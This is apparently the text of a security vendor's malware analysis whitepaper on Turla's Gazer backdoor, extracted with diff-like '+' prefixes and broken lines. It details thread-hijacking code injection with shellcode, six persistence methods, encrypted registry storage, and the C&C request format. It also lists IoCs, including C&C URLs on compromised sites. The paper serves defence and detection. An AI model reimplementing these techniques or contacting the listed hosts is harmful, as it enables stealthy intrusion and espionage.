+key is prepended to the logfile header. This key is then used in the regular 3DES algorithm.
+Global Architecture
+In this section, we will describe in detail each component of Gazer.
+GAZER LOADER
+GAZER ORCHESTRATOR
+rsrc 101
+running within
+explorer.exe
+explorer.exe
+Forward task
+Send
+task
+s result
+rsrc 102
+Orchestrator
+rsrc 101
+GAZER ORCHESTRATOR
+[...]
+Injected into process
+indicated in rsrc 101
+running within
+firefox.exe
+ (for example)
+rsrc 102
+Comm module
+May forward task
+Injected into a process that
+legitimately communicate
+over the internet.
+(process list from rsrc 106)
+Send tasks
+results
+Get new
+tasks
+Machines on the same
+network (P2P)
+C&C server
+Figure 2.
+Gazer architecture
+Loader
+The loader is the first component of the malware to be executed on the system. Two resources
+are stored unencrypted in the binary:
+ 101: the process name to inject the orchestrator into1
+ 102: the orchestrator
+The following mutex is created to ensure that only a single instance of the malware is running:
+{531511FA-190D-5D85-8A4A-279F2F592CC7}
+Named pipe generation
+To establish a communication channel between Gazer components, a named pipe is initiated.
+The named pipe is generated from this string:
+\\\\.\\pipe\\Winsock2\\CatalogChangeListener-FFFF-F
+Note that in all samples we have analyzed the process name is 
+explorer.exe
+Gazing at Gazer
+Turla
+s new second stage backdoor
+The pattern 
+FFFF-F
+ is replaced with values computed from the security identifier (SID) of the current
+user and the current timestamp.
+s take for example the current date as: 
+2017/04/24
+ and the SID: 
+S-1-5-21-848130773085987743-2510664113-1000
+To generate the pattern at the end of the named pipe, some arithmetic is performed:
+time = SystemTime.wDay * Systemtime.wMonth * SystemTime.wYear =
+24 * 04 * 2017 = 0x2f460
+xsid = (1 * 21 * 84813077 * 3085987743 * 2510664113 * 1000) &
+0xFFFFFFFF = 0xefa252d8
+((time >> 20) + (time & 0xFFF) + ((time >> 12) & 0xFFF)) % 0xFF =
+0x93
+((xsid >> 20) + (xsid & 0xFFF) + ((xsid >> 12) & 0xFFF)) % 0xFF =
+0x13
+((time * xsid >> 24) + (uint8_t)(time * xsid) + ((uint16_t)(time *
+xsid) >> 8) + (uint8_t)(time * xsid >> 16)) % 0xf) = 0xa
+In this case, the named pipe will be:
+\\\\.\\pipe\\Winsock2\\CatalogChangeListener-9313-a
+If the current user
+s SID cannot be retrieved, the named pipe \\\\.\\pipe\\\Winsock2\\
+CatalogChangeListener-FFFE-D will be used by default.
+Code injection through thread hijacking
+A not-so-common trick is used in order to inject the orchestrator into a remote process. Indeed,
+a running thread from the remote process is hijacked in order to run shellcode that will execute
+the communication module entry point.
+ The whole module and shellcode are copied into the remote process;
+ the function ZwQuerySystemInformation is used to retrieve the total number
+of the running threads in the targeted process;
+ the following operations are attempted on each of those threads:
+ the thread is suspended with the OpenThread/SuspendThread functions;
+ the thread context is retrieved using GetThreadContext;
+ the context
+s instruction pointer is saved and modified to point to the shellcode
+(through SetThreadContext);
+ the thread is resumed using ResumeThread.
+ if one of the previous operations fails, the thread is resumed and the same actions
+are attempted on another thread.
+Gazing at Gazer
+Turla
+s new second stage backdoor
+launcher:
+push rax
+sub rsp, 38h
+movabs rax, 5D20092
+; @ end of payload
+mov qword ptr ss:[rsp+28], rax
+; lpThreadId
+mov qword ptr ss:[rsp+20], 0
+ ; dwCreationFlags
+xor r9d, r9d
+; lpParameter
+movabs r8, 5D20046
+; lpStartAddress => @payload
+xor edx, edx
+; dwStackSize = 0
+xor ecx, ecx
+; lpThreadAttributes = NULL
+call qword ptr ds:[CreateThread]
+movabs rax, 90A7FACE90A7FACE
+ ; replaced by the saved
+instruction pointer from
+thread context ;)
+add rsp, 38h
+xchg qword ptr ss:[rsp], rax
+payload:
+sub rsp, 28
+movabs r8, 5D20096
+mov edx, 1
+movabs rcx, 4000000000000000
+call qword ptr ds: [DllEntryPoint]
+xor ecx, ecx
+call ExitThread
+int 3
+xxxx; @DllEntryPoint
+xxxx ; @CreateThread
+xxxx; @ExitThread
+xxxx
+xxxx
+xxxx
+xxxx ; TID
+The shellcode is just a loader that will execute the module entry point in a new thread.
+Persistence
+The loader sends binary data through the named pipe to the orchestrator. This blob contains:
+ a command ID (2): CMC_TAKE_LOADER_BODY
+ the loader path file
+ the loader PE
+Once this message is received by the orchestrator, the loader is securely deleted by overwriting
+the file content and deleted through the DeleteFile function.
+Afterwards, the persistency is set up. The persistency information is retrieved from the resource 
+and stored in the Gazer storage. Among these data, there is a dword value that is used to choose
+which persistency mode will be applied.
+The resource 105 is structured in the following way:
+ a dword value representing the persistence mode
+ a dword value representing the size of the data
+ the persistence information
+Gazing at Gazer
+Turla
+s new second stage backdoor
+There are 6 different persistence modes.
+0: ShellAutorun
+Persistence is achieved through the Windows registry by setting the value 
+Shell
+ with 
+explorer.
+exe, %malware_pathfile%
+ under the following key:
+HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
+1: HiddenTaskAutorun
+It is very similar to the 
+TaskScheduler Autorun (4)
+ method described below. The main difference
+is that the task is hidden from the user by using the TASK_FLAG_HIDDEN flag (set up via
+the SetFlags method from the ITask interface).
+2: ScreenSaverAutorun
+In this mode, Gazer achieves persistency by setting up in the Windows registry the executable
+file used for the screensaver.
+Many values are created under the HKCU\Control Panel\Desktop registry key:
+ SCRNSAVE.exe with the malware executable path
+ ScreenSaveActive is set to 
+: enable the screensaver
+ ScreenSaverIsSecure is set to 
+: specifies that the screensaver is not password-protected
+ ScreenSaveTimeout is set to a value given in the resource. It specifies how long the system
+remains idle before the screensaver (in this case: the malware) starts.
+3: StartupAutorun
+If the resource 105 begins with the dword value 
+, a LNK file will be created in the Start Menu.
+The resource will also provide a description for the shortcut file, the path for the target
+and the filename for the LNK.
+The IShellLink interface is used to create the shell link.
+4: TaskSchedulerAutorun
+This method is used to achieve persistence by creating a scheduled task.
+The task is created and set up through COM interfaces related to tasks (ITaskService,
+ITaskSettings, 
+Some information such as the task name and its description is retrieved from the resource.
+For example, in one of the sample
+s resources, the persistency mode is set to 04 (TaskSchedulerAutorun)
+with the persistency data:
+%APPDATA%\Adobe\adobeup.exe Adobe Acrobat Reader Updater. This task was
+generated by Adobe Systems, Inc to keep your Adobe Software up-to-data.
+\Adobe\AcrobatReader.Adobe
+In this example, a scheduled task will be created and set up thus:
+ Task name: 
+Adobe Acrobat Reader Updater
+ Executable: 
+%APPDATA%\Adobe\adobeup.exe
+ The orchestrator will copy the loader received through the named pipe to this location
+Gazing at Gazer
+Turla
+s new second stage backdoor
+ Task description: 
+This task was generated by Adobe Systems, Inc to keep your
+Adobe Software up-to-data
+ Task folder: 
+\Adobe\AcrobatReader.Adobe
+Last but not least, the task is configured to be started by the task scheduler at any time after
+its scheduled time has passed. The task will be triggered when the current user logs on.
+5: LinkAutorun
+This persistence method modifies existing LNK files to execute the malware through cmd.exe.
+For each LNK file in the folder given in the resource, the icon and arguments are removed
+and the path is set to 
+cmd.exe
+ with the argument set to:
+/q /c start 
+ && start 
+In most of the samples we analyzed, the configuration file specified that the TaskSchedulerAutorun
+persistence method should be used.
+Logs
+All three Gazer components log their actions into logfiles. They are encrypted with the same
+algorithm: 3DES.
+In some versions of Gazer, it is easy to retrieve these logfiles because their filenames are hardcoded
+into the binaries:
+ %TEMP%\CVRG72B5.tmp.cvr: the logs from the loader
+ %TEMP%\CVRG1A6B.tmp.cvr: the logs from the orchestrator
+ %TEMP%\CVRG38D9.tmp.cvr: the logs from the communication module
+Each logfile is structured in the following way:
+ [LOGSIZE][DECRYPTION_KEY][ENCRYPTED_LOG]
+ logsize: when this value (2 bytes) is subtracted from the magic value 0xf18b, it gives
+the encrypted log size
+ decryption_key: when this 12 bytes blob is XORed with another hardcoded key of 12 bytes,
+it gives the 3DES key that can be used to decrypt the log
+ encrypted_log: log encrypted with the 3DES algorithm in CBC mode
+Once decrypted, each log entry is formatted in the following way:
+|Hour:Min:Sec:Ms| [log ID] [log]
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Here is an example with the decrypted orchestrator logfile:
+|10:29:56:197|
+[1556]
+|10:29:56:197|
+[1557]
+******************[...]****************
+|10:29:56:197|
+[1558]
+DATE: 25.05.2017
+|10:29:56:197|
+[1559]
+PID=900 TID=2324
+ Heaps=32
+C:\Windows\Explorer.EXE
+|10:29:56:197|
+[1565]
+DLL_PROCESS_ATTACH
+|10:29:56:197|
+[1574]
+4164
+|10:29:58:197|
+[0137]
+==================[...]================
+|10:29:58:197|
+[0138]
+Current thread = 2080
+|10:29:58:197|
+[0183]
+Heap aff0000 [34]
+|10:29:58:197|
+[0189]
+### PE STORAGE ###
+|10:29:58:197|
+[0215]
+### PE CRYPTO ###
+|10:29:58:197|
+[0246]
+### EXTERNAL STORAGE ###
+|10:29:58:197|
+[1688]
+|10:29:58:197|
+[0279]
+Path = \HKCU\Software\Microsoft\
+Windows\CurrentVersion\Explorer\ScreenSaver
+|10:29:58:197|
+[0190]
+\HKCU\Software\Microsoft\Windows\
+CurrentVersion\Explorer\ScreenSaver
+|10:29:58:197|
+[0338]
+---FAILED
+|10:29:58:197|
+[0346]
+Initializing standart reg storage...
+|10:29:58:197|
+[0190]
+Software\Microsoft\Windows\
+CurrentVersion\Explorer\ScreenSaver
+|10:29:58:197|
+[2605]
+Storage is empty!
+|10:29:58:197|
+[0392]
+### EXTERNAL CRYPTO ###
+|10:29:59:666|
+[1688]
+|10:29:59:713|
+[1473]
+|10:29:59:760|
+[1688]
+|10:29:59:775|
+[1473]
+|10:29:59:775|
+[1688]
+|10:29:59:775|
+[1473]
+|10:29:59:791|
+[1688]
+|10:29:59:791|
+[1473]
+|10:29:59:806|
+[1688]
+|10:29:59:806|
+[1473]
+|10:29:59:806|
+[0270]
+08-00-27-90-05-2A
+|10:29:59:806|
+[0286]
+_GETSID_METHOD_1_
+|10:29:59:806|
+[0425]
+28 7 8 122
+|10:29:59:806|
+[0463]
+S-1-5-21-84813077-30859877432510664113-1000
+|10:29:59:806|
+[0471]
+|10:29:59:806|
+[0787]
+|10:29:59:806|
+[1473]
+|10:29:59:822|
+[0514]
+### QUEUES ###
+|10:29:59:822|
+[0370]
+T Empty
+|10:29:59:822|
+[0482]
+R Empty
+|10:29:59:822|
+[1754]
+|10:29:59:822|
+[1688]
+|10:29:59:822|
+[1473]
+|10:29:59:838|
+[0505]
+R #4294967295 PR_100 TR_00000000
+SZ_172 SC_0(50) --+EX_0
+|10:29:59:838|
+[0625]
+### TRANSPORT ###
+|10:29:59:838|
+[0286]
+_GETSID_METHOD_1_
+|10:29:59:838|
+[0425]
+28 7 25 122
+|10:29:59:838|
+[0463]
+S-1-5-21-84813077-30859877432510664113-1000
+|10:29:59:838|
+[0471]
+|10:29:59:838|
+[0165]
+\\.\pipe\Winsock2\
+CatalogChangeListener-2313-4
+|10:29:59:838|
+[0131]
+PipeName = \\.\pipe\Winsock2\
+CatalogChangeListener-2313-4
+|10:29:59:838|
+[0041]
+true
+[...]
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Note that in older Gazer versions, the 
+log ID
+ was replaced by the name of the current function.
+We believe that this log ID is an ID for the function where the log occurs.
+Working Directory
+Using the Windows Registry
+All the files related to Gazer (except the logs) are stored encrypted within the registry. The orchestrator
+resource 
+ contains the root storage path (it will be designated %RootStoragePath% in the rest
+of this paper). In every sample we examined, this resource pointed to the same storage path:
+HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
+If this resource is empty, the registry key above is used by default. Except for RSA keys, all the data
+in the storage is encrypted2.
+Several subdirectories (whose names are hardcoded in the binary) are created.
+ %RootStoragePath%{119D263D-68FC-1942-3CA3-46B23FA652A0}
+ Object ID: a unique ID to identify the victim
+ %RootStoragePath%{1DC12691-2B24-2265-435D-735D3B118A70}
+ Task Queue: linked list of tasks to be executed
+ %RootStoragePath%{28E74BDA-4327-31B0-17B9-56A66A818C1D}
+ Plugins
+ %RootStoragePath%{31AC34A1-2DE2-36AC-1F6E-86F43772841F}
+ Communication Module: the DLL that communicates with the C&C server
+ %RootStoragePath%{3CDC155D-398A-646E-1021-23047D9B4366}
+ Autorun: the persistency method
+ %RootStoragePath%{4A3130BD-2608-730F-31A7-86D16CE66100}
+ Local Transport Settings: the computers IPs that are on the same network
+ %RootStoragePath%{56594FEA-5774-746D-4496-6361266C40D0}
+ Last Connection: last connection time with the C&C server (structure SYSTEMTIME)
+ %RootStoragePath%{629336E3-58D6-633B-5182-576588CF702A}
+ RSA Private Key: generated on the fly; used to decrypt the data from Gazer storage.
+ %RootStoragePath%{6CEE6FE1-10A2-4C33-7E7F-855A51733C77}
+ Result Queue: linked list of the tasks results
+ %RootStoragePath%{81A03BF8-60AA-4A56-253C-449121D61CAF}
+ Inject Settings: the list of processes to use to try to inject the communications module
+ %RootStoragePath%{8E9810C5-3014-4678-27EE-3B7A7AC346AF}
+ C&C servers
+See the 
+Gazer Resources
+ section for details
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Using Alternate Data Streams
+If it is not possible to access the registry, these configuration items are stored using alternate
+data streams.
+The function GetVolumeInformation is called to ensure that the volume 
+ supports named
+streams in order to use ADS.
+The same GUIDs as above are used to hide the different data in an ADS for the file (hardcoded
+in the binary):
+%TEMP%\KB943729.log
+For example, here is the full path to access the object ID:
+%TEMP%\KB943729.log:{1DC12691-2B24-2265-435D-735D3B118A70}
+Orchestrator
+Gazer Resources
+The Gazer-related files are stored in the orchestrator
+s resources.
+File format
+There are a total of 11 resources (101 to 111) each structured in the following way:
+ [DATATYPE][SIZE][DATA][PADDING]
+ DATATYPE: A dword that specifies the type of data in the resource
+ 0x0: raw data
+ 0xFFFFFFFF: empty
+ 0x4: undefined
+ 0x1030001: strings array
+ 0x1: binary
+ SIZE: the size of the data (without padding)
+Encryption
+Except for resources 101 and 102 which are RSA keys, every resource is compressed with BZip
+and encrypted with 3DES.
+[RSAEncryptedBlob][SignatureBlob][3DESBlob]
+ RSAEncryptedBlob: The first 1024 bits of the data is a blob that contains a 3DES key. This blob
+is encrypted using RSA and can be decrypted using resource 101.
+ SignatureBlob: The second part of the data is a blob of 1024 bits containing the signature
+of the last part of the data once decrypted.
+ 3DESBlob: The last part is the effective data, which is encrypted with the 3DES key from
+the first blob.
+Each resource is decrypted on the fly; the signature is compared with the decrypted data to check
+the integrity. Decrypted resources that pass this integrity check are encrypted with a new RSA key
+generated randomly by the orchestrator code. The private key and the encrypted resource are then
+stored in the registry under a specific GUID subkey.
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Resources listing
+ 101: RSA private key. It is used to decrypt the other resources.
+ 102: an RSA public key.
+ 103: empty
+ 104: unknown
+ 105: store the persistency information
+ 106: the list of processes to use to try to inject the communications module
+ 107: C&C communication DLL
+ 108: C&C server list
+ 109: Gazer working directory path
+ 110: plugins list
+ 111: local transport information
+Task Execution
+When a task is retrieved from the C&C, it is either executed by the infected machine or by another
+computer on the same network through a P2P mechanism (in the same way this was done
+in Carbon and Snake).
+The task can be:
+ file upload
+ file download
+ configuration update
+ command execution
+The result of the task is stored in a queue and forwarded to the module that communicates
+with the C&C server when access to the Internet is available.
+Classes Hierarchy
+The malware is written in C++ and the RTTI that contains information about the objects used
+in the code is not overwritten.
+There are 5 abstract classes that have several implementations.
+Table 1.
+Abstract Class Autorun
+Class Name
+LinkAutorun
+StartupAutorun
+ShellAutorun
+ScreenSaverAutorun
+TaskSchedulerAutorun
+HiddenTaskAutorun
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Table 2.
+Abstract Class Queue
+Class Name
+TaskQueue
+ResultQueue
+Table 3.
+Abstract Class Storage
+Class Name
+ExeStorage
+FSStorage
+RegStorage
+Table 4.
+Abstract Class TListenerInterface
+Class Name
+LTMessageProcessing
+CMessageProcessingSystem
+Table 5.
+Abstract Class TAbstractTransport
+Class Name
+LTNamedPipe
+TNPTransport
+Communication Module
+The communication module is used to retrieve tasks from the C&C server and to dispatch them
+to the orchestrator.
+This library is injected into a process which can legitimately communicate over the Internet.
+The injection library is the same as the one found in the loader to inject the orchestrator
+into 
+explorer.exe
+Communication Initialization
+If a proxy server exists, it is retrieved and used by Gazer to make the HTTP requests. There are two
+different methods used to retrieve this value, either by requesting the following registry key:
+HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
+or through the function InternetQueryOption with the flag INTERNET_OPTION_PROXY if the proxy
+server cannot be retrieved through the registry.
+The system user agent is then set up:
+ the default value of the 
+HKCU\Software\Microsoft\Windows\Current Version\
+Internet Settings\User Agent
+ key is retrieved;
+Gazing at Gazer
+Turla
+s new second stage backdoor
+ the value keys under 
+HKLM\Software\Microsoft\Windows\Current Version\Internet
+Settings\5.0\User Agent\Post Platform
+ are enumerated and those that contain
+the sub-string 
+IEAK
+ are concatenated with the user agent string from the previous step;
+ in the case that no user agent was found in the registry, the hardcoded UA Mozilla/4.0
+(compatible; MSIE 6.0) is used
+Before attempting any contact with the C&C server, the internet connection is checked by trying
+to reach the following servers one by one until one returns a HTTP status code 200:
+ update.microsoft.com
+ microsoft.com
+ windowsupdate.microsoft.com
+ yahoo.com
+ google.com
+C&C server communication
+The malware communicates with its C&C server to retrieve tasks (through HTTP GET requests)
+and to send the tasks results (through HTTP POST requests).
+Before sending a request to the C&C, the command CMC_GIVE_SETTINGS is sent to the orchestrator
+through its communication channel (a named pipe, more on this in the next section). The message
+(MSG) contained in the packet in this case is a single byte set by the orchestrator for the command
+result status.
+The orchestrator replies on the same channel with the settings retrieved from the working directory
+with the object id, the list of the C&C servers and the last connection date.
+A GET request is performed to retrieve a task from the C&C.
+The parameters of the GET request are chosen from amongst a hardcoded list of keywords that does
+not look suspicious. Their values are generated randomly in the charset [a-z0-9] with a random size
+from a range given for each parameter:
+ id [6-12] (As with all other parameters, if this parameter is used in the request, it will have a random
+value (of letters and digits) with a random size between 6 and 12 characters.)
+ hash [10-15]
+ session [10-15]
+ photo [6-10]
+ video [6-10]
+ album [6-10]
+ client [5-10]
+ key [5-10]
+ account [6-12]
+ member [6-12]
+ partners [5-10]
+ adm [6-12]
+ author [6-12]
+Gazing at Gazer
+Turla
+s new second stage backdoor
+ contact [6-12]
+ content [6-12]
+ user [6-12]
+Here are few examples of such requests:
+xxx.php?album=2ildzq&key=hdr2a&partners=d2lic33f&session=nurvxd2x0z8bztz&video
+=sg508tujm&photo=4d4idgkxxx.php?photo=he29zms5fc&user=hvbc2a&author=xvfj5r0q
+9c&client=7mvvc&partners=t4mgmuy&adm=lo3r6v4xxx.php?member=ectwzo820&contact
+=2qwi15&album=f1qzoxuef4&session=x0z8bztz8hrs65f&id=t3x0ftu9xxx.php?partners
+=ha9hz9sn12&hash=5740kptk3acmu&album=uef4nm5d&session=dpeb67ip65f&member=arj6
+x3ljjxxx.php?video=nfqsz570&client=28c7lu2&partners=818eguh70&contact=ibj3xch
+&content=1udm9t799ixr&session=5fjjt61qred9uo
+A timeout of 10 minutes is set for each request (send/receive/connect) through InternetSetOption.
+Once the request is sent, the response is handled only if the returned HTTP status code is 404.
+The content of the response is encrypted and can be decrypted with the private RSA key generated
+by the orchestrator. The response body contains a blob of data and an MD5 hash of the data. The blob
+is hashed and compared to the MD5 to ensure the integrity of the server
+s response.
+If the response size is 20 bytes (a blob of 4 bytes + the hash), there are no tasks to retrieve.
+A command CMC_TAKE_TASK is sent to the orchestrator with the encrypted task received from
+the C&C server and its size. The orchestrator will be in charge of executing the task and will send
+the results to the communication module. Once the blob of the tasks results (encrypted by the
+orchestrator) is received, it is sent to the C&C server through a POST request in the same way
+that it was done for the GET request (using parameters with random values).
+Messages between components
+A global named pipe is used for the communication between the different components. The data
+sent through this named pipe is formatted in the following way:
+Datatype
+Figure 3.
+ID_CMD
+Message format
+ DATATYPE: the same constants are used for the resources (check the File Format entry
+in the 
+Resources section
+ ID_CMD: the command name (check below for a complete list)
+ MSG: the data to be sent
+Here is a listing of the different commands:
+ CMC_TAKE_TASK (ID_CMD: 1)
+ When a task is retrieved by the C&C server module, it is sent to the orchestrator,
+which stores the task in the task queue.
+ CMC_TAKE_LOADER_BODY (ID_CMD: 2)
+Gazing at Gazer
+Turla
+s new second stage backdoor
+ Wipe Gazer
+s original loader file, clean persistency and set up a copy of the loader
+and its persistency according to one of the resources (check persistency part for details).
+ CMC_GIVE_RESULT (ID_CMD: 4)
+ When this message is received, the orchestrator will retrieve the task
+s result from
+the result queue, compress and encrypt it using the server
+s public RSA key (the one
+from the resource 102) and send the blob to the communication module which will send
+the whole result to the server through a POST request.
+ CMC_GIVE_SETTINGS (ID_CMD: 5)
+ The communication module sends this message to the orchestrator to request
+the information needed to contact the server (list of the servers to contact, the last
+connection time and the victim ID).
+ CMC_TAKE_CONFIRM_RESULT (ID_CMD: 6)
+ When the communication module sends a task
+s result to the server, a message is sent
+to the orchestrator that will remove the task
+s result from the queue.
+ CMC_TAKE_CAN_NOT_WORK (ID_CMD: 7)
+ When an operation has failed (for example, if the communication module cannot correctly
+parse the data received from the orchestrator), this message is sent to the orchestrator
+with the last error code. The error code will be added to the logfile.
+ CMC_TAKE_UNINSTALL (ID_CMD: 8)
+ Used to wipe a file from the disk.
+ CMC_TAKE_NOP (ID_CMD: 9)
+ No operation
+ CMC_NO_CONNECT_TO_GAZER (ID_CMD: 0xA)
+ This command is sent to the orchestrator when the communication module cannot
+contact any of the servers. In this case, if a pending task
+s results are in the queue,
+they are stored encrypted in Gazer
+s storage.
+ CMC_TAKE_LAST_CONNECTION (ID_CMD: 0xB)
+ This command is sent from the communication module to the orchestrator each time
+a connection is established to the C&C server. It contains a structure SystemTime (filled
+with the current system time). Once the message is received by the orchestrator,
+the last connection date is stored compressed and encrypted in the Gazer storage
+(either the registry or ADS).
+ CMC_GIVE_CACHE / CMC_TAKE_CACHE (ID_CMD: 0xC / 0xD)
+ Not implemented
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Gazer versions
+Four different versions have been identified.
+In the first version, the function used to write logs has as its parameter the real function name
+where the log occurs. There were also different methods used to inject code (the one documented
+in this whitepaper and one based on window injection).
+In a second version, the function names used as parameters are replaced by an ID and only one method
+is used for code injection. Also, the string 
+NO OLD METHODS
+ appears in this part of the code.
+Some samples from the first versions were signed with a valid certificate issued by Comodo for 
+Solid
+Loop Ltd
+. The compilation date appears to be 2002 but is likely to be faked because the certificate
+was issued in 2015.
+The latest versions are signed with a different certificate: 
+Ultimate Computer Support Ltd
+Figure 4.
+Certificates used to sign the malware variants
+Some efforts have been made to obfuscate strings that can be used as IoCs. The mutex name and
+the named pipe do not appear in cleartext anymore; they are now encoded with a XOR key. On the
+previous versions, the logfile names were hardcoded in the binary. The function GetTempFileNameA
+is now used to generate a random filename. The C&C server returns a 404 or 502 status code page,
+whereas it was only a 404 in the previous versions.
+In the latest versions compiled in 2017, the log messages are different (although they have the same
+meaning). For example: 
+PE STORAGE
+ is replaced by 
+EXE SHELTER
+PE CRYPTO
+ by 
+CIPHER
+ etc
+Last but not least, the compilation timestamp seems not to be faked anymore.
+In conclusion, Gazer is a very sophisticated piece of malware that has been used against different
+targets in several countries around the world. Through the different versions we found and analyzed,
+we can see that this malicious backdoor is still being actively developed and used by its creators.
+Indicators of Compromise can also be found on github. For any inquiries, or to make sample submissions related
+to the subject, contact us at: threatintel@eset.com.
+Gazing at Gazer
+Turla
+s new second stage backdoor
+IoCs
+Filenames
+%TEMP%\KB943729.log
+%TEMP%\CVRG72B5.tmp.cvr
+%TEMP%\CVRG1A6B.tmp.cvr
+%TEMP%\CVRG38D9.tmp.cvr
+%TEMP%\~DF1E06.tmp
+%HOMEPATH%\ntuser.dat.LOG3
+ %HOMEPATH%\AppData\Local\Adobe\AdobeUpdater.exe
+Registry keys
+ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver
+ HKCU\Software\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver
+C&C URLs
+daybreakhealthcare.co.uk/wp-includes/themees.php
+simplecreative.design/wp-content/plugins/calculated-fields-form/single.php
+169.255.137.203/rss_0.php
+outletpiumini.springwaterfeatures.com/wp-includes/pomo/settings.php
+zerogov.com/wp-content/plugins.deactivate/paypal-donations/src/PaypalDonations/SimpleSubsribe.
+ales.ball-mill.es/ckfinder/core/connector/php/php4/CommandHandler/CommandHandler.php
+dyskurs.com.ua/wp-admin/includes/map-menu.php
+warrixmalaysia.com.my/wp-content/plugins/jetpack/modules/contact-form/grunion-table-form.php
+217.171.86.137/config.php
+217.171.86.137/rss_0.php
+shinestars-lifestyle.com/old_shinstar/includes/old/front_footer.old.php
+www.aviasiya.com/murad.by/life/wp-content/plugins/wp-accounting/inc/pages/page-search.php
+baby.greenweb.co.il/wp-content/themes/san-kloud/admin.php
+soligro.com/wp-includes/pomo/db.php
+giadinhvabe.net/wp-content/themes/viettemp/out/css/class.php
+tekfordummies.com/wp-content/plugins/social-auto-poster/includes/libraries/delicious/Delicious.php
+kennynguyen.esy.es/wp-content/plugins/wp-statistics/vendor/maxmind-db/reader/tests/MaxMind/Db/
+test/Reader/BuildTest.php
+sonneteck.com/wp-content/plugins/yith-woocommerce-wishlist/plugin-fw/licence/templates/panel/
+activation/activation.php
+chagiocaxuanson.esy.es/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/
+ngglegacy/admin/templates/manage_gallery/gallery_preview_page_field.old.php
+hotnews.16mb.com/wp-content/themes/twentysixteen/template-parts/content-header.php
+zszinhyosz.pe.hu/wp-content/themes/twentyfourteen/page-templates/full-hight.php
+ weandcats.com/wp-content/plugins/broken-link-checker/modules/checkers/http-module.php
+Mutexes
+{531511FA-190D-5D85-8A4A-279F2F592CC7}
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Hashes
+Table 6.
+Gazer sample hashes
+SHA1 hash
+Component
+27fa78de705ebaa4b11c4b5fe7277f91906b3f92
+Gazer wiper x32
+35f205367e2e5f8a121925bbae6ff07626b526a7
+Gazer loader x32
+b151cd7c4f9e53a8dcbdeb7ce61ccdd146eb68ab
+e40bb5beec5678537e8fe537f872b2ad6b77e08a
+522e5f02c06ad215c9d0c23c5a6a523d34ae4e91
+c380038a57ffb8c064851b898f630312fabcbba7
+267f144d771b4e2832798485108decd505cb824a
+52f6d09cccdbc38d66c184521e7ccf6b28c4b4d9
+475c59744accb09724dae610763b7284646ab63f
+22542a3245d52b7bcdb3eaef5b8b2693f451f497
+2b9faa8b0fcadac710c7b2b93d492ff1028b5291
+e05ab6978c17724b7c874f44f8a6cbfb1c56418d
+6dec3438d212b67356200bbac5ec7fa41c716d86
+b548863df838069455a76d2a63327434c02d0d9d
+Gazer loader x32
+Gazer loader x32
+Gazer loader x64
+Gazer loader x64
+Gazer loader x64
+Gazer loader x32
+Gazer loader x32
+Gazer loader x32
+Gazer loader x64
+Gazer loader x64
+Gazer loader x64
+Gazer loader x64
+Compilation
+Time
+07/04/2016
+15:04:24
+05/02/2002
+17:36:10
+05/02/2002
+17:36:10
+05/02/2002
+17:36:10
+05/02/2002
+17:36:26
+05/02/2002
+17:36:26
+05/02/2002
+17:36:26
+04/10/2002
+18:31:37
+04/10/2002
+18:31:37
+04/10/2002
+18:31:37
+04/10/2002
+18:34:18
+04/10/2002
+18:34:18
+04/10/2002
+18:34:18
+09/01/2016
+19:30:10
+Certificate
+Eset Detection
+Name
+not signed
+Win32/Turla.CL
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win32/Turla.CC
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+admin@solidloop.org
+valid from 14/10/2015
+Win64/Turla.AA
+to 14/10/2016
+not signed
+Win64/Turla.AA
+admin@
+c3e6511377dfe85a34e19b33575870dda8884c3c
+Gazer loader x64
+06/02/2016
+ultimatecomsup.biz
+19:29:15
+valid from 16/12/2015
+Win64/Turla.AA
+to 16/12/2017
+admin@
+9ff4f59ca26388c37d0b1f0e0b22322d926e294a
+Gazer loader x64
+16/02/2016
+ultimatecomsup.biz
+16:00:44
+valid from 16/12/2015
+to 16/12/2017
+Win64/Turla.AA
+Gazing at Gazer
+Turla
+s new second stage backdoor
+SHA1 hash
+Component
+Compilation
+Time
+Certificate
+18/02/2016
+ultimatecomsup.biz
+15:29:58
+valid from 16/12/2015
+Eset Detection
+Name
+admin@
+029aa51549d0b9222db49a53d2604d79ad1c1e59
+Gazer loader x64
+Win64/Turla.AA
+to 16/12/2017
+admin@
+cecc70f2b2d50269191336219a8f893d45f5e979
+Gazer loader x64
+01/01/2017
+ultimatecomsup.biz
+08:39:30
+valid from 16/12/2015
+Win64/Turla.AG
+to 16/12/2017
+admin@
+7fac4fc130637afab31c56ce0a01e555d5dea40d
+Gazer loader x64
+11/06/2017
+ultimatecomsup.biz
+23:43:51
+valid from 16/12/2015
+Win64/Turla.AD
+to 16/12/2017
+admin@
+5838a51426ca6095b1c92b87e1be22276c21a044
+Gazer loader x32
+19/06/2017
+ultimatecomsup.biz
+01:28:51
+valid from 16/12/2015
+Win32/Turla.CF
+to 16/12/2017
+admin@
+3944253f6b7019eed496fad756f4651be0e282b4
+Gazer loader x64
+19/06/2017
+ultimatecomsup.biz
